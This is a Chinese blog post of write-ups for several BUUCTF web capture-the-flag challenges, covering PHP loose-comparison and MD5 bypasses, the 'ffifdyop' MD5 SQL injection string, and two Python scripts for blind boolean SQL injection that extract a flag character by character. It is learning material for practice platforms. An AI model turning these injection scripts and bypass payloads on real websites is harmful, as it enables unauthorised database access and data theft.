首页 > 技术文章 > buuctf(2)

nishihundun 2022-02-05 16:40 原文

[极客大挑战 2019]BuyFlag 1

 

 

if (isset($_POST['password'])) {       //isset函数,用于检测变量是否已设置并且非 NULL
$password = $_POST['password'];
if (is_numeric($password)) {      //is_numeric() 函数用于检测变量是否为数字或数字字符串。
echo "password can't be number</br>";
}elseif ($password == 404) {   //这里很明显,密码要求是404,但是根据前面的要求,可以判断出来必须要不是数字串,所以post输入404a

echo "Password Right!</br>";
}
}

这里GET改成POST后可以改变

Content-Type: application/x-www-form-urlencoded

Content-Length: 86 这个86是POST传参的内容长度

Origin:网站地址;
Referer: 网站地址/?pleaseget=1

 

 

这里提供一个做法,firefox的hackbar可以直接改post,于是可以先改了再使用bp抓包,这样可以防止有些值忘改或者改错导致失误

[BJDCTF2020]Easy MD5

 

 

 

 

 看到hint之后明白要看md5

md5有个sql注入方式

那就是输入ffifdyop

 

 得到新的页面

 

 看到源代码了解到需要md5相等但值不一样

这里借鉴了一下这个(49条消息) md5相等及碰撞绕过_陈耿直丶的博客-CSDN博客_md5相同的两个字符串

 

 

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

这里依然可以了解到是md这种,我又查到另一种绕开md5 的方法,那就是利用数组

只要让param1[]=1,param2[]=2

md5不能加密数组,所以把加密成数组之后就可以绕过

 

 

 

 

总结,这次跟之前不一样

我的bp小蹦,没法改body,并且我也觉得很多时候上bp很麻烦

迫不得已开始用firefox,hackbar太香了我没话说

 

我现在就是hackbar单推人

lovesql还是babysql

殊途同归

 

 

 

 

 

 

 

 

 

 殊途同归,这次算是复盘了,个人感觉换算熟练

[CISCN2019 华北赛区 Day2 Web1]Hack World

 

 

 进行爆破,查看过滤

 

 

 经过判断写一个脚本出来

import requests

s=requests.session()
flag = ''
for i in range(1,50):
for j in '-{abcdefghijklmnopqrstuvwxyz0123456789}':
url="http://ad5ed2b5-7482-4608-bdfb-6b5f5d8ac62f.node3.buuoj.cn/index.php"
sqls="if(ascii(substr((select(flag)from(flag)),{},1))=ascii('{}'),1,2)".format(i,j)
data={"id":sqls}
c = s.post(url,data=data,timeout=10)
if 'Hello' in c.text:
flag += j
print(flag)
break

这里利用(49条消息) BUUCTF WEB [CISCN2019 华北赛区 Day2 Web1]Hack World_A_dmin的博客-CSDN博客

觉得他的脚本比较完整

import requests
import base64
import sys
import string
import hashlib
import io
import time

sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8') #改变标准输出的默认编码,否则s.text不能输出
x = string.printable
flag = ""
url = "http://56039d8e-d2a3-4fc1-8195-3e18f2c1ea8c.node3.buuoj.cn/index.php"
payload={
"id" : ""
}
for i in range(0,60):
for j in x:
payload["id"] = "1=(ascii(substr((select(flag)from(flag)),%s,1))=%s)=1"%(str(i),ord(j))
s = requests.post(url,data=payload)
#print(s.text)
if "Hello" in s.text:
flag += j
print(flag)
break

print(flag)

[ACTF2020 新生赛]BackupFile

 

 上去找源文件,

 

推荐阅读